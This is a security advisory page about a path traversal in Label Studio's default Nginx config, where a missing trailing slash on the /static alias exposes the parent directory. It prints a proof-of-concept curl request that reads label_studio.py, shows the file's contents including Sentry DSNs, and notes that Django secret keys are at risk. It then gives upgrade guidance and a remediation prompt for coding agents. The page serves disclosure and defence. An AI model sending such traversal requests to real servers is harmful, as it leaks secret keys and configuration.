# GHSA-cpmr-mw4j-99r7: Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/

> Unauthenticated attackers can read sensitive files from the parent directory due to a missing slash in the Nginx alias configuration.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 24 Mar 2023

## What is GHSA-cpmr-mw4j-99r7?

GHSA-cpmr-mw4j-99r7 is a path traversal vulnerability in label-studio, published on 24 Mar 2023. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary
The vulnerability resides on the Nginx config file:
https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119

The pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash `/` at the end, the following code shows an example of a safe configuration:
```nginx
location /static/ {
[...]
```
The vulnerability works because Nginx will think that `/static../` is a directory that should also be aliased to the folder, allowing /static/../ to be reached. In Label Studio's case, this means all files on /label_studio/core/ are exposed.

Of course, this means that only Label Studio instances that were deployed using the default nginx files introducted at Mar 31, 2021.
This is a very easy vulnerability to fix, and just a lesser-known configuration mistake on nginx files. It's very easy to happen because all is needed is for one slash to be missing. (Off-By-One)

** Proof-of-Concept (Leaking Secret Keys): **
Exploiting this vulnerability usually depends on what's on the parent folder, in Label Studio's case the most interesting file I could find that's on there by default is /label_studio/core/ . We can fetch it by simply making a request to the traversed folder.
```bash
# Production Label Studio docker-compose running on localhost:8080
/t/mydata [127]$ curl localhost:8080/static../settings/label_studio.py
"""This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license.
"""
import os
import pathlib

from core.settings.base import *

DJANGO_DB = get_env('DJANGO_DB', DJANGO_DB_SQLITE)
DATABASES = {'default': DATABASES_ALL[DJANGO_DB]}

MIDDLEWARE.append('organizations.middleware.DummyGetSessionMiddleware')
MIDDLEWARE.append('core.middleware.UpdateLastActivityMiddleware')
if INACTIVITY_SESSION_TIMEOUT_ENABLED:
    MIDDLEWARE.append('core.middleware.InactivitySessionTimeoutMiddleWare')

ADD_DEFAULT_ML_BACKENDS = False

LOGGING['root']['level'] = get_env('LOG_LEVEL', 'WARNING')

DEBUG = get_bool_env('DEBUG', False)

DEBUG_PROPAGATE_EXCEPTIONS = get_bool_env('DEBUG_PROPAGATE_EXCEPTIONS', False)

SESSION_COOKIE_SECURE = False

SESSION_ENGINE = "django.contrib.sessions.backends.signed_cookies"

RQ_QUEUES = {}

SENTRY_DSN = get_env(
    'SENTRY_DSN',
    'https://68b045ab408a4d32a910d339be8591a4@o227124.ingest.sentry.io/5820521'
)
SENTRY_ENVIRONMENT = get_env('SENTRY_ENVIRONMENT', 'opensource')

FRONTEND_SENTRY_DSN = get_env(
    'FRONTEND_SENTRY_DSN',
    'https://5f51920ff82a4675a495870244869c6b@o227124.ingest.sentry.io/5838868')
FRONTEND_SENTRY_ENVIRONMENT = get_env('FRONTEND_SENTRY_ENVIRONMENT', 'opensource')

EDITOR_KEYMAP = json.dumps(get_env("EDITOR_KEYMAP"))

from label_studio import __version__
from label_studio.core.utils import sentry
sentry.init_sentry(release_name='label-studio', release_version=__version__)

# we should do it after sentry init
from label_studio.core.utils.common import collect_versions
versions = collect_versions()

# in Label Studio Community version, feature flags are always ON
FEATURE_FLAGS_DEFAULT_VALUE = True
# or if file is not set, default is using offline mode
FEATURE_FLAGS_OFFLINE = get_bool_env('FEATURE_FLAGS_OFFLINE', True)

from core.utils.io import find_file
FEATURE_FLAGS_FILE = get_env('FEATURE_FLAGS_FILE', 'feature_flags.json')
FEATURE_FLAGS_FROM_FILE = True
try:
    from core.utils.io import find_node
    find_node('label_studio', FEATURE_FLAGS_FILE, 'file')
except IOError:
    FEATURE_FLAGS_FROM_FILE = False

STORAGE_PERSISTENCE = get_bool_env('STORAGE_PERSISTENCE', True)
```

### Impact
The impact consists on leaking Django secret keys by default, with also greater risk being possible due to the vulnerability exposing the file located at /label_studio/core/settings/label_studio.py which contains the secret key for Django as well as possibly containing other secrets the user might put there. (If the administrator decides not to use environment variables for some variables)

## Which versions are affected by GHSA-cpmr-mw4j-99r7?

2 open source packages ship an affected version, including label-studio.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `label-studio` | PyPI | All versions | 1.7.2 |
| `label-studio` | PyPI | All versions | 1.7.2 |

## How do I fix GHSA-cpmr-mw4j-99r7?

Upgrade label-studio to 1.7.2 or later.

## Is GHSA-cpmr-mw4j-99r7 being exploited?

There is no known exploitation of GHSA-cpmr-mw4j-99r7 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-cpmr-mw4j-99r7 and fix it if it is affected.

What it is: GHSA-cpmr-mw4j-99r7 is a path traversal vulnerability in label-studio, published on 24 Mar 2023. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-cpmr-mw4j-99r7 in the wild and no public exploit code.

Affected packages and fixed versions:
- label-studio (PyPI): affected all versions; fixed in 1.7.2
- label-studio (PyPI): affected all versions; fixed in 1.7.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-cpmr-mw4j-99r7/ (Markdown: https://insights.sbomify.com/GHSA-cpmr-mw4j-99r7/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-cpmr-mw4j-99r7

---
From sbomify Insights: https://insights.sbomify.com/GHSA-cpmr-mw4j-99r7/
Summaries are generated and may contain mistakes; the official description above is the record.